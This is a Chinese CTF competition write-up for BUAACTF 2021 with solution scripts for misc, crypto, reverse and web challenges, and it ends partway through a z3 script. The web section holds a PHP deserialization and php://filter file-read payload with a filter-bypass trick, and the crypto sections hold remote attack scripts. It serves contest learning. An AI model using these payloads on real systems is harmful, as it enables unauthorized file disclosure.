BUAACTF 2021校赛

Write up by Picasso

做了21个题,小赚一笔,美滋滋,不过作为PWN手没有akpwn还是有点遗憾,希望再接再厉。

Misc

luansha

下载gif打开看就知道了,flag是

flag{H@ppy_m1sc}

Minecraft

在Minecraft中打开地图,发现电路是实现一个按bit的vernam密码,记录下每一位的密文,key循环使用,它还说key可能有一个起始偏移,枚举一下,解密得到flag,exp如下:

#include
int main()
{
    int m,c,sum=0;
    char key[20]="10010110011";
    for(int i=0;i<8*12;i++)
    {
        scanf("%1d",&c);
        m=c^(key[i%11]-'0');
        sum=sum*2+m;
        if(i%8==7)
        {
            printf("%c",sum);
            sum=0;
        }
    }
}
/*
c = 111100000001111010101111001111101011000001001011010101000110100010111010111100011111000011101011
*/

运行得到flag:

flag{r3D_mC}

sqlmisc

下载压缩包,需要密码解密,根据名字提示是CRC爆破,打开看里面的内容,有三个文件只有6字节,刚好可以爆破。

爆破后得到并输入密码:Welcome_to_BUAActf,成功解密,打开日志文件,发现最后在数据库中查询,爆破出flag的ascii码值,exp如下:

#include
int flag[27]={102,108,97,103,123,87,101,98,95,49,115,95,52,108,115,111,95,105,109,112,48,114,116,64,110,116,125};
int main()
{
    for(int i=0;i<27;i++)
    	printf("%c",flag[i]);
}

DuckDuckGo

pixelate.py中的代码将一个字节转化为四个像素点得到了pixelduck.png,我们反解:

import base64
from PIL import Image
import math
img = Image.open('pixelduck.png')
img = img.convert('RGB')
pixels = img.load()
colours = [
    (255, 0, 0),
    (0, 0, 255),
    (0, 128, 0),
    (255, 255, 0)
]
enc = ''
dimension = img.width
x, y = 0, 0
over = False
while over is False:
    temp = []
    for i in range(4):
        if x == dimension:
            y += 1
            x = 0
        try:
            temp.append(colours.index(pixels[x, y]))
        except ValueError:
            over = False
            break
        x += 1
    if over:
        break
    res = chr((temp[0] << 6) + (temp[1] << 4) + (temp[2] << 2) + (temp[3] << 0))
    enc += res
file = open('source', 'wb')
file.write(base64.b64decode(enc.encode()))
print(enc.encode())

得到一个乱码文件,然后根据hint去百度上乱搜到一个解密网站

得到flag:

flag{N3ver_G0nn@_G1ve_You_Up}

Or8nge

先把下载下来的图片放foremost中分解成多个文件:

zip里面是个加密压缩包,爆破密码得到0507,解密得到一个叫做Xingtian的文件,添加png文件头。

提示使用stegpy工具,然而需要密码,在Xingtian16进制文件末尾找到密码123456,解隐写png中的图片得到

R1kzRE1ZWldHRTNET04zQ0c0WlRPTkJXR1UzRE9OTEdHWTRUT01aVk1ZM0RTTlRGRzQyRE1OSlhHSTNES05aVEc0MkRNT0pXTVUzRE9OM0U=

明显base64解密得到

GY3DMYZWGE3DON3CG4ZTONBWGU3DONLGGY4TOMZVMY3DSNTFG42DMNJXGI3DKNZTG42DMOJWMU3DON3E

这串说实话一开始没看出来,最后用base32解密得到

666c61677b737465675f69735f696e746572657374696e677d

发现开头是flag的ascii码,翻译得到flag:

flag{steg_is_interesting}

Web

合成脑溢血

玩到1400拿到flag。

flag{I_10ve_watermelon_s0_much!}

easy unserialize

查看网页源码,存在反序列化漏洞,它让我们看看class.php,那就构造url:

http://10.212.27.23:8085/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

base64解码后得到内容:


//flag in f1a9.php
class Read{
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

发现调用了实例化的Read对象后会调用__toString,输出file中的内容,构造脚本:


	class Read{
		public $file;
	}
	$a = new Read();
	$a->file = "f1a9.php";
	$a = serialize($a);
	print_r($a);
?>

序列化后得到:

O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

在数字前面添加%2B,绕过preg_match()的检查,成功得到flag。

Crypto

密码学check in

打开看就是一个rsa,n比较小,暴力分解p,q就行了,分解后求e模(q-1)(p-1)的逆元解密即可。

胡闹

根据题目描述的提示,去密码吧精品贴dfs,找到密码表。

解出来是

}ljq!kzoh91_qwl_x1c0{diljhak_j

然后根据提示方片K,进行凯撒密码解密,得到

}ign!hwle91_nti_u1z0{afigexh_g

然后3层栅栏密码解密,得到

}ei9i1g_gnetnix_!uh1hz_0w{galf

根据提示,逆序得到flag

flag{w0_zh1hu!_xinteng_g1i9ie}

交上去不对,应该是哪里错了,观察flag,看出来是:“我只会心疼哥哥”,猜想最后g1i应该是g1e,果然对了。

最终的flag是

flag{w0_zh1hu!_xinteng_g1e9ie}

whitegiveRSA

观察代码:

q, g = whitegivePrime()
print('g =', g)
#g = 6
print('q =', q)
#q = 307132275020853431035041222583514542784452982807697536232379897569768752688415827814985078862846915802928365390063791101634764810085800485658986523636105181016478997878827247582936331362418715733723293825693158579608202518233289849716623113759906142441477223591290084928130624179447239764554114333383186795119825995572856818269736491547416711529840464838419
c = pow(g, hint, q)
print('c =', c)
#c = 163931173441171130796011960845634179843969144480789202335625801624920837930007062044534891711541284083231332937201935623494570185147439809386193373572558353745744623269422679864759638636300479342016231022348853302438569688679541497547289063932279737287834051852332720435668943202238801630561766659318546438320313889211760172065698233522623594077661040299209

已知g,c,q,利用sympy库的discrete_log方法可以快速求解离散对数问题:

hint = discrete_log(q, c, g)
print(n2s(hint))

得到hint,提示我们是Stereotyped_messages_Attack:

b'Stereotyped_messages_Attack.You_can_use_sage,SageMath is a free open-source mathematics software system licensed under the GPL. '

看代码发现我们可以知道Q的高位,尝试使用Factoring with high bits known攻击,依赖于Coppersmith partial information attack算法,利用sage实现该算法,脚本如下:

p = 0x53746572656f74797065645f6d657373616765735f41747461636b2e596f755f63616e5f7573655f736167652c536167654d61746820697320612066726565206f70656e2d736f75726365206d617468656d617469637320736f6674776172652073797374656d206c6963656e73656420756e64657220746000000000000000
n = 0x4215661e74e06ebb76f1b513006144dc5533579ef761e5aa929bc7bbf013b3ebd3121eadcfacc723d8ed1de243f581cbcc531bc7bf3d6f16ea2454f58ae56b77ce29551ca9fe54e80ca917f58e9835bca475b1c01720fa51d2fde41b90363c463072b3e40e8f28977d2d1979347c94fa25d8f6a7ce7d8eac284fb1568e1cd35a7b9ab8eb3d9e5ff449dce16cd5ee04aced45f97b976a33b1ffebe6e465b97c62edd80199d97d22956db62ddb4ef5f8612b277e62f274755ab8d72ba12d1b5f6174d3dbf8ae3badb00f172fef3b2aa3989fd8a89c9a2e5a04e435d708ca8bca286fb75bb9a3b3d531a190ae7a5645dd44c1a5ba5f5d25b5cd56292e519a93fa01
kbits = 60
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print("x: %s" % hex(int(x0)))
p = p + x0
print("p: ", hex(int(p)))
assert n % p == 0
q = n / int(p)
print("q: ", hex(int(q)))

求得

p=0x53746572656f74797065645f6d657373616765735f41747461636b2e596f755f63616e5f7573655f736167652c536167654d61746820697320612066726565206f70656e2d736f75726365206d617468656d617469637320736f6674776172652073797374656d206c6963656e73656420756e6465722074634a1f4091753b4b

分解了N求得e的逆元解密得到flag:

b'flag{Do_y@u_really_know_about_AITMC?}'

bzb’s gift

打开代码,关键是这一段,解一个64元的方程:

tot = 0
for i in range(64):
    tot += x[i] * a[i]
assert tot == y 

不知道怎么做,在ctfwiki上翻了半天感觉是格密码LLL算法,用x和y构造一个矩阵。

然后用LLL算法得到一个矩阵,取最短行向量,乘上面这个矩阵的逆矩阵得到

(-160, -123, -130, -41, -5, -190, -61, -114, -124, -184, -209, -112, -196, -223, -39, -72, -109, -48, -177, -209, -184, -203, -160, -181, -127, -127, -48, -225, -24, -6, -157, -126, -173, -69, -251, -59, -150, -199, -119, -218, -111, -105, -167, -77, -234, -212, -250, -210, -166, -70, -108, -87, -92, -26, -84, -230, -217, -91, -76, -6, -139, -58, -116, -95, 1)

这就是解出来的a,与enc异或得到flag,迷迷糊糊,反正也不是特别会

b"flag{Do_you_really_finish_qaqmander's_AITMC_lab_final_quiz5!!!?}"

classic xor

打开加密代码一看,发现是个流密码,知道密钥长度为16:

key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
cipher = b''
for i in range(len(flag)):
    cipher += (ord(flag[i]) ^ ord(key[i % 16])).to_bytes(1, 'big')

看密文,应该是一段话,在网上搜到这样一篇文章小记一类CTF密码题解题思路,感觉就是讲这个题的,大概就是说:

  • 空格字符的ascii码是0x20,它异或上一个字母会将其大小写翻转,对于Vernam密码,如果有 $ m_1\oplus k=c_1,m_2\oplus k=c_2$ ,那么有 $ m_1\oplus m_2 = c_1\oplus c_2$ 。

我们可以很容易的将密文分为16组,每一组异或的key是一样的。如果两个密文异或后的结果还在字母表上,我们就有理由猜测其中一个明文字符是空格。对组内每个字符,我们枚举其他密文与之的异或值,记录该值是字母ascii的次数,我们认为拥有最大次数的字符是空格,然后异或其密文,得到该位上的密钥,该部分详见exp中的break_single_key_xor函数。

通过上述方法得到密钥后,流密码解密得到明文,大部分代码都是网上那篇文章里的,不会是出题人写的吧,exp如下:

import string

def break_single_key_xor(text):
    key = 0
    possible_space=0
    max_possible=0
    letters = string.ascii_letters.encode('ascii')
    for a in range(0, len(text)):
        maxpossible = 0
        for b in range(0, len(text)):
            if(a == b):
                continue
            c = text[a] ^ text[b]
            if c not in letters and c != 0:
                continue
            maxpossible += 1
        if maxpossible>max_possible:
            max_possible=maxpossible
            possible_space=a
    key = text[possible_space]^ 0x20
    return chr(key)

cipher = b'?\t\x158\x02,\x110\nu3W\x1aUX#\x19\x0bZ2\x14dT#D\x03"@\x06Y\\m\x15\x0eE=\x08:T+\x17u&\x12\x1bA\\ \x13\x13G<\x0e)\x18b\x17!5W\tU\x11.\x1f\x17]0\x1fh\x1d,D"/[\x0bP\x119\x1e\x02\x15%\x01)\x1d,\x100?FHQBm\x15\x08X7\x04&\x11&D".F\x00\x18Pm\x04\x06[1\x02%T-\x16u7A\rMU"\x04\x06[1\x02%T1\x10\'"S\x05\x18^+V\x03T!\x0ch\\6\x0c0g\x10\x03]H>\x02\x15P4\x00j]b\x0b3gF\x00]\x11>\x17\nPu\x01-\x1a%\x10=k\x12\x1cW\x11*\x13\tP\'\x0c<\x11b\x10="\x12\x0bQA%\x13\x15A0\x15V\x14L8\x0f\'\x18+\x170#\x12\nA\x11\x13V\x06[1M!\x07b\x1607@\rKT#\x02\x02Qu\x0f1T6\x0c0gT\x07T]"\x01\x0e[2Mj\x000\x11!/\x12\x1cYS!\x13E\x19u\x1a \x110\x01ul\x12\x1a]A?\x13\x14P;\x19;T`\x10\'2WJ\x18P#\x12G\x18u\x1f-\x040\x01&"\\\x1cK\x11o\x10\x06Y&\x08jZH+!/W\x1a\x18_,\x1b\x02Fu\x0b\'\x06b\x10=.AH^D#\x15\x13\\:\x03h\x150\x01og|\x07L\x11(\x07\x12T9M`:\x075|k\x12\x05WU8\x1a\x08\x15gM)\x10&\r!.]\x06\x18\x19:\x1f\x13]:\x18\x02\x15P4\x00h\x1d1D 4W\x0c\x18S"\x02\x0f\x15!\x02h\x11,\x07<7Z\rJ\x11=\x1a\x06\\;\x19-\x0c6D!(\x12\x0bQA%\x13\x15A0\x15"K\x1bLC(\x17\n\x15<\x1eh\x000\x119>\x12\x1aY_)\x19\n\x154\x03,T7\x170#\x12\x07V]4V\x08[6\x08dT6\x0c<4\x12\x01K\x11(\x10\x01P6\x19!\x02\'\x08,gSHW_([\x13\\8\x08h\x04#\x00{ga\x1dZB9\x1f\x13@!\x04&\x13b\x14&"G\x0cWC,\x18\x03Z8M,\x156\x05u W\x06]C,\x02\x02Qu\x0f1T#D65K\x18L^*\x04\x06E=\x04+\x15.\x08,gA\r[D?\x13GE&\x08=\x10-I\'&\\\x0cW\\m\x18\x12X7\x08:T%\x01;"@\tL^?V\x0eFu\x0ch\x17-\t8(\\HY_)V\x02S3\x08+\x00+\x120gQ\x07VB9\x04\x12V!\x04\'\x1ab\x02:5\x12\t\x18B9\x04\x02T8M+\x1d2\x0c05\x1cHjryV\x0eFu\x0c&T\'\x1c4*B\x04]\x11"\x10GTu;-\x06,\x058gQ\x01HY(\x04GA=\x0c\x128YC&V\x03@\'\x04&\x13b3:5^\x0c\x18f,\x04G|\x1cCh *\x01,gV\x01YV#\x19\x14P1M \x1b5D!/WHST4\x05\x13G0\x0c%T5\x05&gU\rVT?\x17\x13P1Ah\x03-\x16>"VHWD9V\x0fZ"M<\x1bb\x06\'"S\x03\x18E%\x13GV<\x1d \x110Hu&\\\x0c\x18C(\x17\x03\x15#\x0c;\x00b\x15 &\\\x1cQE$\x13\x14\x15:\x0bh\x1c+\x03=j^\rNT!V\nP&\x1e)\x13\'\x17u3]HY_)V\x01G:\x00h3\'\x168&\\HPX*\x1eGV:\x00%\x15,\x00u0[\x1cP^8\x02GP#\x08:T1\x010.\\\x0f\x18P#V\x06V!\x18)\x18b(:5W\x06B\x11 \x17\x04]<\x03-ZH%;#\x12\x11WD?V\x01Y4\nh\x1d1^u!^\t_J\x056\x11P\n4x\x01\x1d\':)\x16\x01\\T?E\x03j\x105-\x192\x100#m+JH="WR\'\x0c8\x1c;[(M'

block_bytes = [[] for _ in range(16)]
for i, byte in enumerate(cipher):
    block_bytes[i % 16].append(byte)
keys = ''

for bbytes in block_bytes:
    keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(cipher), "utf-8")
print("key is:", keys)

flag = b''
for i in range(len(cipher)):
    flag += (cipher[i] ^ key[i % 16]).to_bytes(1, 'big')
print(flag)

结果得到flag串,flag在最后:

b'In modern terminology, a Vernam cipher is a symmetrical stream cipher in which the plaintext is combined with a random or pseudorandom stream of data (the "keystream") of the same length, to generate the ciphertext, using the Boolean "exclusive or" (XOR) function. This is symbolised by ^ and is represented by the following "truth table", where + represents "true" and - represents "false".\nOther names for this function are: Not equal (NEQ), modulo 2 addition (without \'carry\') and modulo 2 subtraction (without \'borrow\').\nThe cipher is reciprocal in that the identical keystream is used both to encipher plaintext to ciphertext and to decipher ciphertext to yield the original plaintext:\nPlaintext ^ Key = Ciphertext\nand:\nCiphertext ^ Key = Plaintext\nIf the keystream is truly random and used only once, this is effectively a one-time pad. Substituting pseudorandom data generated by a cryptographically secure pseudo-random number generator is a common and effective construction for a stream cipher. RC4 is an example of a Vernam cipher that is widely used on the Internet.\nIf, however, the same keystream is used for two messages, known to cryptanalysts as a depth, the effect of the keystream can be eliminated, leaving the two plaintexts XORed together. The result is equivalent to a Running key cipher and the two plaintexts may be separated by linguistic cryptanalytical techniques.\nCiphertext1 ^ Ciphertext2 = Plaintext1 ^ Plaintext2\nAn operator\'s mistake of this sort famously allowed the Cryptanalysis of the Lorenz cipher by the British at Bletchley Park during World War II. They diagnosed how the keystream was generated, worked out how to break the cipher, and read vast quantities of high-level messages to and from German high command without ever seeing an actual Lorenz machine.\nAnd your flag is: flag{H@ve_Y0u_Con$ider3d_EXempted_CrypT0graphy?}\n'

An Interesting interaction

给的是服务器上的交互文件,分析它的过程:

先是一个工作量证明:

def proof_of_work(self):
        random.seed(os.urandom(8))
        proof = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(20)])
        _hexdigest = md5(proof.encode()).hexdigest()
        self.send(f"[+] md5(XXXX+{proof[4:]}) == {_hexdigest}".encode())
        x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
        if len(x) != 4 or md5(x + proof[4:].encode()).hexdigest() != _hexdigest:
            return False
        return True

分析源码,随机生成一个串,计算md5值,将md5值和原串的后16位发送过来,要求碰撞出前四位,这里暴力枚举即可通过:

def Proof_of_Work():
    XXXX = ""
    for a in range(62):
        for b in range(62):
            for c in range(62):
                for d in range(62):
                    XXXX = table[a] + table[b] + table[c] + table[d]
                    PoW = XXXX + tail
                    _hexdigest = md5(PoW.encode()).hexdigest()
                    if of_md5 == _hexdigest:
                        io.send(XXXX)
                        return

然后进入到游戏中,逻辑是,对于第 i 轮,随机生成 16*i 位的 token 和 data,发送data给用户,用户猜测 token 并发送,成功五轮便发送flag。

我们还能使用的是一个function:

def function(self, x):
        res = 0
        for i in range(self.lenth):
            numerator = ord(self.token[i])
            denominator = x - self.data[i]
            try:
                tmp = numerator / denominator
            except Exception as e:
                self.send(b'[+] Error!')
                return
            res += tmp
        return res

输入x给他,它返回的是ord(token[i])/(x-data[i]),我们构造x使得x-data[i]=1,便可以得到ord(token[i]),按照这个思路做交互即可,得到flag:

flag{Die_java_r3tired_fr0m_BUAAACM}

完整的exp如下,有精度问题,需要注意:

from Crypto.Util.number import *
from hashlib import md5
from pwn import *
context.log_level = 'debug'
io = remote('10.212.25.14', 25554)

io.recvuntil('XXXX+')
tail = io.recv(16)
io.recvuntil('== ')
of_md5 = io.recv(32)

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
def Proof_of_Work():
    XXXX = ""
    for a in range(62):
        for b in range(62):
            for c in range(62):
                for d in range(62):
                    XXXX = table[a] + table[b] + table[c] + table[d]
                    PoW = XXXX + tail
                    _hexdigest = md5(PoW.encode()).hexdigest()
                    if of_md5 == _hexdigest:
                        io.send(XXXX)
                        return
                      
def caculate(i,t):
	if i < (16*t-1):
		n = int(io.recvuntil(', ').strip(', ').decode())
	else:
		n = int(io.recvuntil(']').strip(']').decode())
	num.append(n)
		
io.recvuntil('XXXX:')
Proof_of_Work()

for t in range(1,6):
	if t==1:
		io.recvuntil('calculating?\n')
	else:
		io.recvuntil('score:')
	io.recvuntil('[')
	token = ""
	num = []
	for i in range(t*16):
		caculate(i,t)
	for i in range(t*16):
		io.sendline('1')
		io.recvuntil('x: ')
		io.send(str(num[i]+1))
		io.recvuntil('answer: ')
		n = int(io.recvuntil('.').strip('.').decode())
		next = io.recv(1)
		if next == '9':
			n += 1
		token += chr(n)
	io.sendline('2')
	io.send(token)

io.recv()
io.interactive()

Reverse

re check in

读源码发现hint是由flag.jpg逐字节异或上key数组得到,那么hint再异或key数组可以得到flag.jpg

exp如下:

#include
int key[60000];
int main()
{
	FILE *f1=fopen("key","r");
	FILE *f2=fopen("hint.txt","r");
	FILE *f3=fopen("flag.jpg","wb");
	for(int i=0;i<50016;i++)
		fscanf(f1,"%x",&key[i]);
	for(int i=0;i<50016;i++)
	{
		char c;
		fscanf(f2,"%c",&c);
		c=c^key[i];
		fprintf(f3,"%c",c);
	}
	fclose(f1);
	fclose(f2);
	fclose(f3);
}

​ 运行得到flag.jpg

zerothree

IDA逆向后发现是一堆方程,用z3库解,这一步的exp是:

from z3 import *
v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27,v28,v29,v30,v31,v32,v33,v34,v35,v36,v37,v38,v39,v40,v41,v42,v43,v44,v45,v46,v47,v48,v49,v50,v51,v52,v53,v54,v55,v56,v57,v58,v59,v60,v61,v62,v63 = Ints('v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18 v19 v20 v21 v22 v23 v24 v25 v26 v27 v28 v29 v30 v31 v32 v33 v34 v35 v36 v37 v38 v39 v40 v41 v42 v43 v44 v45 v46 v47 v48 v49 v50 v51 v52 v53 v54 v55 v56 v57 v58 v59 v60 v61 v62 v63')

s = Solver()
s.add(30*v57+(-99)*v38+90*v42+(-23)*v51+(-7)*v58+88*v53+(-19)*v32+(-49)*v44+89*v52+(-35)*v30+(-65)*v49+63*v60+53*v39+66*v43+(-42)*v45+29*v28+70*v47+(-20)*v40+(-37)*v29-58*v61+17*v35+26*v59-56*v54+67*v63+11*v34-53*v31+9*v37-50*v56-48*v36-70*v50+48*v41+v55-33*v48-68*v62-14*v33-67*v46 == -12868)
s.add(30*v33+47*v61+v42+(-47)*v44+(-41)*v53+60*v50+90*v37+62*v38+57*v51+(-91)*v55+10*v63+13*v30+57*v32+90*v49+(-57)*v43+(v46*64)-63*v41-56*v36+56*v59-40*v28-92*v45-5*v57-13*v40+5*v56-63*v60+5*v54+67*v62-20*v29-79*v47-17*v34+70*v31+41*v35+71*v52+15*v39+42*v48 == 8520)
s.add(69*v52+58*v57+34*v51+49*v29+88*v63+50*v48+7*v28+(-99)*v55+(-100)*v58+74*v62+77*v61+(-77)*v42+29*v44+53*v37+(-13)*v60+93*v39+(-53)*v38+2*v35+77*v47+28*v41-61*v32+12*v45-87*v53+36*v34+59*v31+81*v49+28*v56+73*v54+54*v50-5*v59-41*v30+5*v46-93*v43+10*v40-27*v36+24*v33 == 12936)
s.add(-61*v30+(-100)*v46+(-77)*v44+86*v39+(-77)*v35+(-52)*v38+58*v45+51*v41+53*v49+43*v43+(-96)*v40+(-9)*v52+(-44)*v29+(-61)*v57+23*v36+94*v58+8*v56+51*v32+(-46)*v47+(-61)*v34-46*v48-76*v62-17*v59-52*v63+81*v61+75*v60+5*v54+2*v53+31*v50-2*v28-17*v51-92*v42+13*v33-99*v31+63*v55+8*v37 == -5016)
s.add((v29*64)+17*v41+91*v28+(-25)*v32+(-36)*v55+37*v63+68*v56+78*v50+(-44)*v35+60*v47+(-69)*v37+(-81)*v61+(-69)*v54+32*v46+(-29)*v42+59*v31+9*v44-35*v49+40*v39+70*v57+3*v30+61*v34+40*v62+23*v45+81*v40-43*v60+9*v43+69*v58-9*v51-75*v53-62*v48+56*v59+96*v33+69*v36+80*v38+99*v52==12113)
s.add(-86*v55+66*v57+93*v29+78*v52+(-63)*v49+51*v60+(-39)*v33+(-36)*v63+(-34)*v53+79*v39+(-89)*v30+32*v59+(-86)*v41+(-13)*v61+51*v51+50*v48+47*v44+(-79)*v54-20*v36+90*v34+6*v58-41*v35-56*v42+54*v47-96*v62-(v32*64)+48*v38-76*v56+48*v46-3*v28+20*v31+61*v45-56*v43-97*v50+96*v37-61*v40==-15499)
s.add(-32*v51+(-44)*v63+83*v37+(-66)*v39+(-13)*v28+83*v41+22*v62+98*v35+99*v60+83*v47+91*v33+76*v61-74*v56-25*v30-9*v59+35*v53+31*v46-95*v49+37*v50-74*v44+17*v40-27*v52+11*v31-26*v58-36*v32+(v34*64)-65*v54-46*v36-33*v42-45*v29-60*v55+77*v48+96*v43-23*v38-5*v57-73*v45==4675)
s.add(-83*v33+(-11)*v46+78*v61+(-51)*v42+69*v55+76*v29+(-26)*v39+(-88)*v31+82*v36+(-79)*v38+86*v41+(-36)*v32+24*v49+(-99)*v58+60*v57+(-34)*v60+69*v45+(-93)*v54+42*v52+55*v44+32*v53-57*v59+84*v40+9*v51-84*v30-18*v35-v28+9*v63+89*v43+72*v47-8*v56+70*v48-36*v50+(v34*64)+19*v37+71*v62==-303)
s.add(-60*v29+(-16)*v57+79*v38+65*v60+50*v58+(-70)*v36+(-59)*v47+(-58)*v35+(-51)*v33+94*v37+(-57)*v53+88*v46+(-20)*v39+86*v28+(-68)*v32+57*v42+28*v56+29*v40+(-31)*v45+75*v34+(-54)*v30-80*v43+82*v41-18*v51-2*v31+94*v59-6*v49+26*v44-62*v62-82*v55+25*v48-66*v63-62*v52+89*v54+12*v50-86*v61==12337)
s.add(-88*v32+(-63)*v28+83*v46+(-49)*v62+72*v36+(-11)*v30+(-30)*v41+(-46)*v34+77*v51+(-7)*v59+(-7)*v52+14*v54+(-75)*v50+38*v31+(-11)*v45-91*v48+53*v63+31*v33+47*v47+48*v61+74*v29-24*v58+87*v37+33*v39+86*v56+37*v49-97*v55+31*v42+30*v38+72*v57-59*v44+5*v35-3*v43+13*v40-73*v60-56*v53==-5666)
s.add(26*v53+84*v30+(-52)*v31+49*v28+(-81)*v36+59*v51+(-66)*v62+(-85)*v50+(-27)*v29+(-70)*v38+(-95)*v41+(-89)*v40+(-66)*v56+77*v58+14*v43+(-97)*v34-74*v48-91*v32-5*v47-94*v57-24*v63-7*v60+63*v33-49*v42-96*v46-100*v35+81*v44+70*v39+3*v49+28*v52-14*v37+59*v45+24*v59-25*v55+20*v61-77*v54==-16449)
s.add(60*v30+69*v38+55*v51+30*v33+34*v34+53*v63+70*v47+2*v35+98*v56+42*v39+(-91)*v54+(-63)*v57+(-58)*v32+(-53)*v50+v44+22*v49+(-19)*v41+83*v43+69*v46+55*v52+(-69)*v53+33*v48+28*v62+5*v31+35*v36+27*v29-31*v55+10*v40+84*v61+24*v42-2*v45+68*v60+21*v28-v37+60*v59-60*v58==16413)
s.add(v4==-17*v60+v58+14*v42+(-97)*v55+32*v32+90*v57+50*v36+(-92)*v41+(-61)*v43+( v46*64)+60*v39+76*v38+70*v62+(-68)*v40+(-81)*v37+38*v47+15*v59-96*v49+89*v48+33*v30+79*v56-80*v63-38*v33+5*v34-8*v54-59*v51+9*v52+34*v45-60*v29+98*v53+48*v44-88*v50-96*v31+97*v35-96*v28+54*v61)
s.add(v4==-5321)
s.add(-98*v50+(-57)*v58+53*v36+(-58)*v60+(-82)*v38+68*v61+57*v59+(-92)*v40+(-98)*v56+(-50)*v28+(-45)*v44+60*v53+49*v45-7*v31-22*v51+33*v41-15*v33+36*v57-88*v43+12*v49+71*v42-48*v63+79*v62-5*v47-2*v32-29*v52-28*v54-16*v46-( v55*64)+32*v39+73*v30-38*v48+27*v37-7*v35-30*v29-35*v34==v5)
s.add(v5 ==-16134)
s.add(v6==58*v44+91*v36+91*v43+(-31)*v49+(-69)*v61+(-86)*v56+(-78)*v45+(-20)*v58+19*v40+(-22)*v39+71*v55+(-85)*v47+29*v48+60*v42+4*v59-43*v46-36*v57+95*v37+6*v62+49*v34+13*v38-23*v41+17*v35-79*v50+12*v31-7*v32-12*v30-91*v51-56*v33+59*v54+18*v60-87*v63-30*v52+54*v53-5*v29-94*v28)
s.add(v6==2487)
s.add(v7==-33*v39+80*v34+9*v44+63*v29+(-44)*v51+(-71)*v54+(-78)*v41+(-95)*v33+(-94)*v38+(-11)*v47+97*v28+52*v43+(-89)*v49+56*v55+(-87)*v32+(-73)*v63+(-85)*v48+(-17)*v37-93*v40-87*v52-80*v53-92*v57-20*v45-13*v36+80*v59-v61+37*v58+( v60*64)-18*v46-76*v62+65*v31+61*v35+11*v50-39*v42-62*v30-74*v56)
s.add(v7==-38279)
s.add(v8==75*v44+(-95)*v36+77*v59+69*v57+(-85)*v62+59*v34+43*v61+(-65)*v47+63*v43+(-40)*v42+20*v41+36*v51+31*v33+(-45)*v53+(-61)*v52+65*v50+54*v48-9*v37+47*v32-40*v30-( v40*64)+81*v38-35*v28-12*v55+35*v58+31*v46-42*v63+33*v39+76*v60-4*v54-19*v31+65*v49-78*v35-48*v56-77*v45)
s.add(v8 == 3750)
s.add(v9==-25*v56+(-51)*v29+(-92)*v55+47*v59+33*v60+(-37)*v37+95*v33+67*v51+(-38)*v38+35*v34+(-63)*v58+(-93)*v62+28*v36+(-41)*v35+71*v52+(-73)*v43+76*v41+35*v48+55*v45-12*v28+84*v40-72*v31-4*v44+99*v39+10*v32-98*v63-9*v46+22*v49-6*v54-71*v53+96*v42+82*v30-6*v61-13*v57+25*v50-35*v47)
s.add(v9==8374)
s.add(v10==88*v62+(-65)*v56+(-50)*v53+56*v43+78*v30+93*v36+( v49*64)+98*v44+2*v58+(-41)*v46+87*v35+(-34)*v45+(-49)*v32+54*v28+(-72)*v41+87*v52+79*v55-52*v57-17*v51+45*v38-17*v61-81*v39+37*v63-46*v37+25*v60-45*v42-30*v40+83*v47+24*v29-51*v34-17*v54-76*v31-36*v59+77*v48-62*v33+67*v50)
s.add(v10==19675)
s.add(v11==82*v60+(-25)*v32+61*v38+(-71)*v58+(-29)*v35+30*v29+34*v63+(-74)*v41+8*v61+(-50)*v53+(-35)*v57+75*v59+92*v34+(-70)*v54+55*v49+(-21)*v47+37*v45+29*v52-10*v43-75*v44+24*v46+98*v28+41*v48-54*v56-5*v51-66*v37+3*v33+62*v50-40*v62+90*v31-36*v42-66*v30+15*v40-74*v55+31*v36-68*v39)
s.add(v11==-21872)
s.add(v12==37*v44+84*v50+77*v59+(-75)*v36+55*v63+(-83)*v57+(-79)*v52+35*v54+(-71)*v34+(-66)*v35+( v53*64)+(-69)*v31+98*v37+28*v45+(-11)*v47+(-13)*v43-34*v41+75*v62+19*v60-94*v61-72*v46-32*v55+76*v29+80*v56+66*v38+3*v40-99*v42+17*v58-94*v28+12*v30+61*v48-24*v51+62*v39-65*v49-2*v32-90*v33)
s.add(v12 == 13561)
s.add(v13==19*v47+21*v29+68*v61+39*v51+43*v39+( v43*64)+(-34)*v54+(-20)*v59+31*v45+(-10)*v63+47*v37+(-42)*v60+80*v52+(-37)*v32+(-94)*v44+(-76)*v30+24*v31-31*v35-65*v28-23*v50-48*v48-95*v34-30*v62-67*v40+81*v42-21*v55+65*v46+60*v53-17*v49-58*v41+96*v36-32*v58-83*v56+20*v33-3*v57+7*v38)
s.add(v13 == -15976)
s.add(v14==-80*v49+48*v45+(-88)*v46+(-37)*v58+v31+67*v39+52*v34+14*v55+(-82)*v51+(-52)*v35+(-15)*v41+56*v47+97*v60+(-55)*v36+(-41)*v59+(-46)*v40+(-84)*v63+55*v37+(-91)*v43+(-59)*v54+93*v30+53*v48+(-92)*v52+(-82)*v50-76*v28-90*v33+3*v62+77*v53-40*v44-93*v32+37*v61-16*v38+v42+17*v57-94*v56-12*v29)
s.add(v14 == -9828)
s.add(v15==-52*v59+22*v46+(-12)*v57+(-89)*v47+22*v53+42*v58+(-26)*v28+46*v37+53*v29+34*v40+(-91)*v43+23*v48+(-91)*v61+(-25)*v51+84*v39+68*v30+(-35)*v44+(-74)*v55+(-85)*v41+58*v31+95*v56+(-79)*v54+(-94)*v38+(-76)*v32+(-55)*v33-71*v49-87*v42-65*v62-16*v52+34*v60-16*v35+83*v50+5*v45-71*v34+41*v63+68*v36)
s.add(v15 == -17536)
